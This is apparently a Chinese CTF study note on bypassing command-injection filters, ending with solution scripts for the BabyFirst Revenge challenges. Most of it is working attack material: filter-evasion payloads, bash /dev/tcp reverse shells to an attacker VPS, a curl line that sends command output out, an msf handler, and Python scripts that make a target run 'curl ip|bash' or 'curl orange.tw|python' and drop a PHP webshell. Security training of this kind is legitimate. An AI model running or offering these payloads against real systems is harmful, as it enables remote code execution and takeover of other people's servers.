命令执行
1. 空格绕过
- 重定向符<
- %09(php环境)
- $IFS$9 或 ${IFS} 符号
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
2. 命令分隔符
- %0a符号
换行符 - %0d符号
回车符 - ;符号
在 shell 中,担任”连续指令”功能的符号就是”分号” - &符号
表示任务在后台执行 - &&
表示前一条命令执行成功时,才执行后一条命令 - |符号
管道符左边命令的输出就会作为管道符右边命令的输入 - ||符号
表示上一条命令执行失败后,才执行下一条命令
3. 命令终止符
- %00
- %20#
4. 黑名单绕过
- 拼接
a=l;b=s;$a$b - base64编码
1
2root@test:/home/test# `echo "Y2F0IGZsYWc="|base64 -d` //反引号
flagaaaaaaaaaa
1 | root@test:/home/test# echo "Y2F0IGZsYWc="|base64 -d|bash // |连接 |
- 利用系统环境变量
1
2root@test:/home/test# echo ${SHELLOPTS}
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor
payload
1 | root@test:/home/test# ${SHELLOPTS:3:1}${SHELLOPTS:2:1}${SHELLOPTS:29:1} flag |
单/双引号
1
2
3
4
5
6root@test:/home/test# ca""t fl""ag
flagaaaaaaaaaa
root@test:/home/test# ca""t fl''ag
flagaaaaaaaaaa
root@test:/home/test# ca''t fl''ag
flagaaaaaaaaaa反斜杠\
1
2root@test:/home/test# ca\t fla\g
flagaaaaaaaaaa
5. 无回显命令执行
- 第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行
先在vps处用nc进行监听1
nc -l -p 8080 -vvv
然后在靶机命令执行处输入
1 | |bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1 |
- 第二种是msf反向回连
同样vps用msf监听1
2
3
4
5
6
7
8vps的msf监听:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
然后在靶机命令执行处输入
1 | |bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1 |
- curl
1
|curl vps的ip:8080/?a=`ls |head -n 3|tail -n 1`
6. 限制长度的命令执行
- linux下创建文件的命令可以用1>1创建文件名为1的空文件
a>1也可以,虽然会报错,但是还是可以创建空文件。 - ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n
常见php命令注入函数:
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
命令注入中有讲究的字符
‘$’
‘;’
‘|’
‘-‘
‘(‘
‘)’
‘反引号’
‘||’
‘&&’
‘&’
‘}’
‘{‘
BabyFirst Revenge
1 | <?php |
几个铺垫技巧
- 命令过长可以通过\进行换行续写
- 文件种当前命令错误不影响之后命令的执行
- IP的等价表示法:IP地址本质上就是一个整数,只是通常用点分十进制表示,也可以用十六进制、长整数、八进制表示IP
- ‘>g’两个字符创建文件
思路:通过写入一系列指令的分段,并用反斜杠\作为文件结尾,最后执行ls -t>g并且sh g来执行我们想要的指令
思路一:下载php马getshell
将 ‘curl ip > A’用续行方式切割成多行写进文件 A (即A的内容为’curl ip > A’),然后执行 sh A 就可以下载到预先放在公网主机上的文件并且覆盖本地的文件A,而下载下来的文件内容是用来写PHP木马的PHP代码,我再执行 php A就可以写个自己的webshell进去1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42# -*- coding:utf8 -*-
import requests as r
import hashlib
url = 'http://52.199.204.34/'
# 查询自己的IP
ip = r.get('http://ipv4.icanhazip.com/').text.strip()
sandbox = url + 'sandbox/' + hashlib.md5('orange' + ip).hexdigest() + '/'
reset = url + '?reset'
cmd = url + '?cmd='
build = ['>cur\',
'>l \',
'ls>A',
'rm c*',
'rm l*',
'>105\',
'>304\',
'>301\',
'>9>\',
'ls>>A',
'sh A',
'php A'
]
# 如果目标服务器有GET,这个也是可以打的
# build = ['>GE\',
# '>T\ \',
# 'ls>A',
# 'rm G*',
# 'rm T*',
# '>105\',
# '>304\',
# '>301\',
# '>9>\',
# 'ls>>A']
r.get(reset)
for i in build:
s = r.get(cmd + i)
print '[%s]' % s.status_code, s.url
s = r.get(sandbox + 'fun.php?cmd=uname -a')
print 'n' + '[%s]' % s.status_code, s.url
print s.text思路二:bash反弹shell
先写入ls -t>g到A中,然后分段写入’curl ‘vps的ip’|bash’,(在本机监听7777端口)vps的内容为bash -i >& /dev/tcp/10.188.2.20/777 0>&1,然后sh A(生成g文件,内容为curl ‘vps的ip’|bash),最后sh g1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python` 反弹shell
# generate `curl 10.188.2.20|bash` 反弹shell
'>sh\ ',
'>ba\\',
'>\|\\',
'>20\\',
'>2.\\',
'>8.\\',
'>18\\',
'>0.\\',
'>1\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://10.188.2.20:22460/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://10.188.2.20:22460/?cmd=' + quote(i) )
print i
sleep(0.2)
ps:不知道为什么我的ls命令排序和writeup显示的不一样,选用文件名的时候要注意排序
babyfirst-revenge-v2
1 | <?php |
由于字符限制在了4个,所以不能再像之前那样通过分割字符来实现.原因是不管如何对
ls -t>g
这个命令进行何种切割,>\>\
和>\ \
是必然作为单独的部分,这样由于ls按照文件名进行排序,所以虽然可以呈现space\ -t\ >\ ? ls
,但是ls>>?
这个是没有办法实现的.通过rev逆序之后解决.其中
ls -t>g
这个命令不能逆序,由于t是比s大的,如果逆序s不会在t的前面,所以这里使用ls -th>g.
关于
*
命令:*
相当于$(dir *)
,所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入.所以这样如果dir在最前面的话,就可以把当前目录的文件都返回.之后将
*
的结果写入文件中,紧接着写入rev文件.1
2>*>v
>rev最后执行rev v>u,这个命令需要通过*命令的其它形式实现.
*v>u
这个命令就是rev v>u
,因为*v
恰好是可以匹配到rev
和v
的,如果文件名换成其它字母会因为排序错误或者没有作为rev的参数而逆序失败.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43import requests
from time import sleep
from urllib import quote
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
# generate "curl orange.tw|python;"
'>\;\\',
'>on\\',
'>th\\',
'>py\\',
'>\|\\',
'>tw\\',
'>e.\\',
'>ng\\',
'>ra\\',
'>o\\',
'>\ \\',
'>rl\\',
'>cu\\',
# got shell
'sh x',
'sh g',
]
r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
assert len(i) <= 4
r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
print i
sleep(0.1)